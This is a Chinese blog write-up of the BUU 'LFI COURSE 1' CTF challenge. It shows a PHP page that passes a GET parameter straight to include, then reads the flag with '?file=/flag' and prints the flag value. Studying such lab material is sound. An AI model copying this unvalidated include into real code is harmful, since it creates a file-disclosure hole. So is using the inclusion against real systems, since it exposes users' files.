BUU LFI COURSE 1

最新推荐文章于 2024-06-01 12:50:49 发布

Sk1y

最新推荐文章于 2024-06-01 12:50:49 发布

阅读量1.5k

点赞数 1

分类专栏： CTF刷题记录文章标签： web CTF

本文链接：https://blog.csdn.net/RABCDXB/article/details/116739468

版权

CTF刷题记录专栏收录该内容

148 篇文章 18 订阅

订阅专栏

BUU LFI COURSE 1

考察点：文件包含，get传参

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

解题

代码审计一下，需要进行文件包含进行传参

?file=/flag

得到flag

 <?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}
flag{a75f7e3d-6bff-4f52-8fb4-ca41887c20ec}